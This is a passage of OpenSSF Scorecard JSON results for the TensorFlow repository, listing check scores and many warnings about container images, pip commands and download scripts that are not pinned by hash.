containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: 